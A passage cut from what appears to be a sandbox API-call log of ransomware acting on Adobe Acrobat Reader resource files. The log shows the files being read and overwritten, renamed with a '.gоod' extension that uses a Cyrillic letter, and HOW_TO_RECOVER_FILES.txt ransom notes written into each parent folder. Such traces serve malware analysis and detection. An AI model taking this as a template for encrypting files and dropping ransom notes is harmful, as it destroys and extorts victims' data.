lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x854 [0203.369] GetFileType (hFile=0x854) returned 0x1 [0203.369] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0203.369] GetFileType (hFile=0x854) returned 0x1 [0203.369] SetFilePointer (in: hFile=0x854, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0203.369] ReadFile (in: hFile=0x854, lpBuffer=0x3673ee8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x3673ee8*, lpNumberOfBytesRead=0x1ffebaa8*=0xc4c, lpOverlapped=0x0) returned 1 [0203.371] CloseHandle (hObject=0x854) returned 1 [0203.371] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-cn\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-cn\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0203.371] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0203.371] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-cn\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\zh-cn\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x854 [0203.371] GetFileType (hFile=0x854) returned 0x1 [0203.371] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0203.371] GetFileType (hFile=0x854) returned 0x1 [0203.371] SetFilePointer (in: hFile=0x854, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1c4c [0203.371] WriteFile (in: hFile=0x854, lpBuffer=0x36753d8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x36753d8*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0203.371] CloseHandle (hObject=0x854) returned 1 [0203.372] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-cn\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-cn\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0203.372] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0203.372] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-cn\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\zh-cn\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x854 [0203.372] GetFileType (hFile=0x854) returned 0x1 [0203.372] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0203.372] GetFileType (hFile=0x854) returned 0x1 [0203.372] ReadFile (in: hFile=0x854, lpBuffer=0x3677700, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x3677700*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0203.399] CloseHandle (hObject=0x854) returned 1 [0203.400] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-cn\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-cn\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0203.400] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0203.400] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-cn\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\zh-cn\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x854 [0203.400] GetFileType (hFile=0x854) returned 0x1 [0203.400] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0203.400] GetFileType (hFile=0x854) returned 0x1 [0203.400] WriteFile (in: hFile=0x854, lpBuffer=0x36763f0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x36763f0*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0203.400] CloseHandle (hObject=0x854) returned 1 [0203.400] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-cn\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-cn\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0203.400] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-cn\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-cn\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7d [0203.400] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0203.400] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-cn\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\zh-cn\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x757247d8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1c5c)) returned 1 [0203.400] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0203.400] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-cn\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\zh-cn\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-cn\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\zh-cn\\ui-strings.js.gоod")) returned 1 [0203.401] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-cn\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-cn\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x83 [0203.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0203.401] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-cn\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\zh-cn\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x854 [0203.402] GetFileType (hFile=0x854) returned 0x1 [0203.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0203.402] GetFileType (hFile=0x854) returned 0x1 [0203.403] WriteFile (in: hFile=0x854, lpBuffer=0x36f6150*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x36f6150*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0203.593] CloseHandle (hObject=0x854) returned 1 [0203.593] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffec150, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x7d [0203.593] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffec670) returned 1 [0203.593] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x854 [0203.594] GetFileType (hFile=0x854) returned 0x1 [0203.594] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffec5e0) returned 1 [0203.594] GetFileType (hFile=0x854) returned 0x1 [0203.595] WriteFile (in: hFile=0x854, lpBuffer=0x33f1b00*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffec738, lpOverlapped=0x0 | out: lpBuffer=0x33f1b00*, lpNumberOfBytesWritten=0x1ffec738*=0x5d0, lpOverlapped=0x0) returned 1 [0203.596] CloseHandle (hObject=0x854) returned 1 [0203.596] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffecb80, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x79 [0203.596] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffed0a0) returned 1 [0203.596] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x854 [0203.597] GetFileType (hFile=0x854) returned 0x1 [0203.597] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffed010) returned 1 [0203.597] GetFileType (hFile=0x854) returned 0x1 [0203.597] WriteFile (in: hFile=0x854, lpBuffer=0x33f53f0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffed168, lpOverlapped=0x0 | out: lpBuffer=0x33f53f0*, lpNumberOfBytesWritten=0x1ffed168*=0x5d0, lpOverlapped=0x0) returned 1 [0203.598] CloseHandle (hObject=0x854) returned 1 [0203.598] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffed5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x75 [0203.598] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffedad0) returned 1 [0203.599] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x854 [0203.599] GetFileType (hFile=0x854) returned 0x1 [0203.600] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeda40) returned 1 [0203.600] GetFileType (hFile=0x854) returned 0x1 [0203.600] WriteFile (in: hFile=0x854, lpBuffer=0x33fae98*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffedb98, lpOverlapped=0x0 | out: lpBuffer=0x33fae98*, lpNumberOfBytesWritten=0x1ffedb98*=0x5d0, lpOverlapped=0x0) returned 1 [0203.601] CloseHandle (hObject=0x854) returned 1 [0203.601] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffedb60) returned 1 [0203.601] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\versions", nBufferLength=0x105, lpBuffer=0x1ffed600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\versions", lpFilePart=0x0) returned 0x5f [0203.601] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\versions\\*", lpFindFileData=0x1ffed880 | out: lpFindFileData=0x1ffed880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0203.602] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffed840 | out: lpFindFileData=0x1ffed840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0203.602] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffed840 | out: lpFindFileData=0x1ffed840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x3fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="framework-dev.js", cAlternateFileName="FRAMEW~1.JS")) returned 1 [0203.602] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffed840 | out: lpFindFileData=0x1ffed840*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0203.602] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0203.602] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffedaa0) returned 1 [0203.602] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeda60) returned 1 [0203.602] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffedb60) returned 1 [0203.602] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\versions", nBufferLength=0x105, lpBuffer=0x1ffed600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\versions", lpFilePart=0x0) returned 0x5f [0203.603] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\versions\\*", lpFindFileData=0x1ffed880 | out: lpFindFileData=0x1ffed880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0203.603] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffed840 | out: lpFindFileData=0x1ffed840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0203.603] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffed840 | out: lpFindFileData=0x1ffed840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x3fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="framework-dev.js", cAlternateFileName="FRAMEW~1.JS")) returned 1 [0203.603] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffed840 | out: lpFindFileData=0x1ffed840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x3fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="framework-dev.js", cAlternateFileName="FRAMEW~1.JS")) returned 0 [0203.603] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0203.603] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffedaa0) returned 1 [0203.603] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeda60) returned 1 [0203.603] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\versions\\framework-dev.js", nBufferLength=0x105, lpBuffer=0x1ffed440, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\versions\\framework-dev.js", lpFilePart=0x0) returned 0x70 [0203.603] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffed910) returned 1 [0203.604] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\versions\\framework-dev.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\versions\\framework-dev.js"), fInfoLevelId=0x0, lpFileInformation=0x340a8c8 | out: lpFileInformation=0x340a8c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x3fd)) returned 1 [0203.604] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffed8d0) returned 1 [0203.604] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\versions\\framework-dev.js", nBufferLength=0x105, lpBuffer=0x1ffed2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\versions\\framework-dev.js", lpFilePart=0x0) returned 0x70 [0203.604] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffed7c0) returned 1 [0203.604] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\versions\\framework-dev.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\versions\\framework-dev.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x854 [0203.604] GetFileType (hFile=0x854) returned 0x1 [0203.604] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffed730) returned 1 [0203.604] GetFileType (hFile=0x854) returned 0x1 [0203.604] GetFileSize (in: hFile=0x854, lpFileSizeHigh=0x1ffed968 | out: lpFileSizeHigh=0x1ffed968*=0x0) returned 0x3fd [0203.604] ReadFile (in: hFile=0x854, lpBuffer=0x340b030, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffed898, lpOverlapped=0x0 | out: lpBuffer=0x340b030*, lpNumberOfBytesRead=0x1ffed898*=0x3fd, lpOverlapped=0x0) returned 1 [0203.945] CloseHandle (hObject=0x854) returned 1 [0204.085] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\versions\\framework-dev.js", nBufferLength=0x105, lpBuffer=0x1ffed2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\versions\\framework-dev.js", lpFilePart=0x0) returned 0x70 [0204.085] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffed7c0) returned 1 [0204.085] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\versions\\framework-dev.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\versions\\framework-dev.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x474 [0204.087] GetFileType (hFile=0x474) returned 0x1 [0204.087] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffed730) returned 1 [0204.087] GetFileType (hFile=0x474) returned 0x1 [0204.087] WriteFile (in: hFile=0x474, lpBuffer=0x34bd7f0*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x1ffed7a8, lpOverlapped=0x0 | out: lpBuffer=0x34bd7f0*, lpNumberOfBytesWritten=0x1ffed7a8*=0x400, lpOverlapped=0x0) returned 1 [0204.214] CloseHandle (hObject=0x474) returned 1 [0204.753] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\versions\\framework-dev.js", nBufferLength=0x105, lpBuffer=0x1ffed440, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\versions\\framework-dev.js", lpFilePart=0x0) returned 0x70 [0204.753] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\versions\\framework-dev.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffed440, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\versions\\framework-dev.js.gоod", lpFilePart=0x0) returned 0x75 [0204.753] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffed8d0) returned 1 [0204.753] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\versions\\framework-dev.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\versions\\framework-dev.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffed9b0 | out: lpFileInformation=0x1ffed9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x75f0192e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x400)) returned 1 [0204.753] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffed890) returned 1 [0204.753] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\versions\\framework-dev.js" (normalized: 